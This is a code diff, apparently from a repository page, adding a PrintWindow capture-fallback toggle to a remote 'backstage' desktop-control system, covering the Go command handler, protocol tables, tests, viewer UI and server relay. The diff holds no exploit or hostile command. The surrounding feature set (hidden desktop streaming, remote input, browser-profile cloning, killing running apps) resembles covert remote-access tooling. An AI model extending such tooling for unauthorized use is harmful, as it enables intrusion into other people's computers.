||||
case "backstage_enable_printwindow_fallback":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := true
|
||||
if payload != nil {
|
||||
if v, ok := payload["enabled"].(bool); ok {
|
||||
enabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("backstage: per-window PrintWindow fallback %v", enabled)
|
||||
capture.SetbackstagePrintWindowFallbackEnabled(enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "backstage_enable_uia":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
uiaEnabled := true
|
||||
|
||||
@@ -77,6 +77,7 @@ const (
|
||||
CommandBackstageEnableDxgi CommandType = "backstage_enable_dxgi"
|
||||
CommandBackstageEnableKeyboard CommandType = "backstage_enable_keyboard"
|
||||
CommandBackstageEnableMouse CommandType = "backstage_enable_mouse"
|
||||
CommandBackstageEnablePrintwindowFallback CommandType = "backstage_enable_printwindow_fallback"
|
||||
CommandBackstageEnableUia CommandType = "backstage_enable_uia"
|
||||
CommandBackstageInstalledApps CommandType = "backstage_installed_apps"
|
||||
CommandBackstageKeyDown CommandType = "backstage_key_down"
|
||||
@@ -286,6 +287,7 @@ var CommandTypes = [...]CommandType{
|
||||
CommandBackstageEnableDxgi,
|
||||
CommandBackstageEnableKeyboard,
|
||||
CommandBackstageEnableMouse,
|
||||
CommandBackstageEnablePrintwindowFallback,
|
||||
CommandBackstageEnableUia,
|
||||
CommandBackstageInstalledApps,
|
||||
CommandBackstageKeyDown,
|
||||
@@ -435,6 +437,7 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
|
||||
CommandBackstageEnableDxgi: {Min: 1, Max: 1},
|
||||
CommandBackstageEnableKeyboard: {Min: 1, Max: 1},
|
||||
CommandBackstageEnableMouse: {Min: 1, Max: 1},
|
||||
CommandBackstageEnablePrintwindowFallback: {Min: 1, Max: 1},
|
||||
CommandBackstageEnableUia: {Min: 1, Max: 1},
|
||||
CommandBackstageInstalledApps: {Min: 1, Max: 1},
|
||||
CommandBackstageKeyDown: {Min: 1, Max: 1},
|
||||
|
||||
@@ -6,7 +6,7 @@ func TestGeneratedWireContract(t *testing.T) {
|
||||
if WireProtocolVersion != 1 {
|
||||
t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion)
|
||||
}
|
||||
if len(CommandTypes) != 141 {
|
||||
if len(CommandTypes) != 142 {
|
||||
t.Fatalf("unexpected command count: %d", len(CommandTypes))
|
||||
}
|
||||
if len(CommandVersionSupport) != len(CommandTypes) {
|
||||
|
||||
@@ -117,6 +117,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
const uiaCtrl = document.getElementById("uiaCtrl");
|
||||
const printWindowFallbackCtrl = document.getElementById("printWindowFallbackCtrl");
|
||||
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
|
||||
const targetFpsSelect = document.getElementById("targetFpsSelect");
|
||||
let whepClient = null;
|
||||
@@ -132,6 +133,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
|
||||
if (printWindowFallbackCtrl) {
|
||||
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
|
||||
}
|
||||
pushbackstageResolution();
|
||||
}
|
||||
let activeClientId = clientId;
|
||||
@@ -186,6 +190,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
|
||||
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
|
||||
if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
|
||||
if (printWindowFallbackCtrl && typeof settings.printWindowFallback === "boolean") {
|
||||
printWindowFallbackCtrl.checked = settings.printWindowFallback;
|
||||
}
|
||||
prefersH264 = false;
|
||||
const cloneToggle = document.getElementById("backstageCloneToggle");
|
||||
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
|
||||
@@ -211,6 +218,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
keyboard: !!kbdCtrl?.checked,
|
||||
clipboardSync: !!clipboardSyncCtrl?.checked,
|
||||
uia: !!uiaCtrl?.checked,
|
||||
printWindowFallback: printWindowFallbackCtrl?.checked !== false,
|
||||
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
|
||||
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
|
||||
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
|
||||
@@ -1281,6 +1289,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
}
|
||||
if (printWindowFallbackCtrl) {
|
||||
printWindowFallbackCtrl.addEventListener("change", function () {
|
||||
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
}
|
||||
|
||||
function pushbackstageResolution() {
|
||||
if (backstageResolutionSelect) {
|
||||
|
||||
@@ -191,6 +191,9 @@
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
|
||||
<input type="checkbox" id="uiaCtrl" /> UIA Support
|
||||
</label>
|
||||
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Allow the compatibility compositor to call PrintWindow on target applications when DWM staging and DXGI cannot provide a frame. DWM staging itself remains enabled.">
|
||||
<input type="checkbox" id="printWindowFallbackCtrl" checked /> PrintWindow Fallback
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -140,6 +140,7 @@ export const COMMAND_TYPES = [
|
||||
"backstage_enable_dxgi",
|
||||
"backstage_enable_keyboard",
|
||||
"backstage_enable_mouse",
|
||||
"backstage_enable_printwindow_fallback",
|
||||
"backstage_enable_uia",
|
||||
"backstage_installed_apps",
|
||||
"backstage_key_down",
|
||||
@@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = {
|
||||
"min": 1,
|
||||
"max": 1
|
||||
},
|
||||
"backstage_enable_printwindow_fallback": {
|
||||
"min": 1,
|
||||
"max": 1
|
||||
},
|
||||
"backstage_enable_uia": {
|
||||
"min": 1,
|
||||
"max": 1
|
||||
|
||||
@@ -17,7 +17,7 @@ import {
|
||||
describe("generated wire protocol contract", () => {
|
||||
test("publishes the complete command catalog", () => {
|
||||
expect(WIRE_PROTOCOL_VERSION).toBe(1);
|
||||
expect(COMMAND_TYPES.length).toBe(141);
|
||||
expect(COMMAND_TYPES.length).toBe(142);
|
||||
expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
|
||||
expect(isCommandType("desktop_start")).toBe(true);
|
||||
expect(isCommandType("virtual_window_list")).toBe(true);
|
||||
|
||||
@@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
|
||||
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
|
||||
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
|
||||
assignIfDefined(out, "uia", pickBoolean(input.uia));
|
||||
assignIfDefined(out, "printWindowFallback", pickBoolean(input.printWindowFallback));
|
||||
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
|
||||
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
|
||||
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
|
||||
|
||||
@@ -1363,6 +1363,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
||||
case "backstage_enable_dxgi":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "backstage_enable_printwindow_fallback":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled });
|
||||
break;
|
||||
case "backstage_enable_uia":
|
||||
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
|
||||
break;
|
||||
|
||||
@@ -78,6 +78,7 @@
|
||||
"backstage_enable_dxgi",
|
||||
"backstage_enable_keyboard",
|
||||
"backstage_enable_mouse",
|
||||
"backstage_enable_printwindow_fallback",
|
||||
"backstage_enable_uia",
|
||||
"backstage_installed_apps",
|
||||
"backstage_key_down",
|
||||
|
||||
Reference in New Issue
Block a user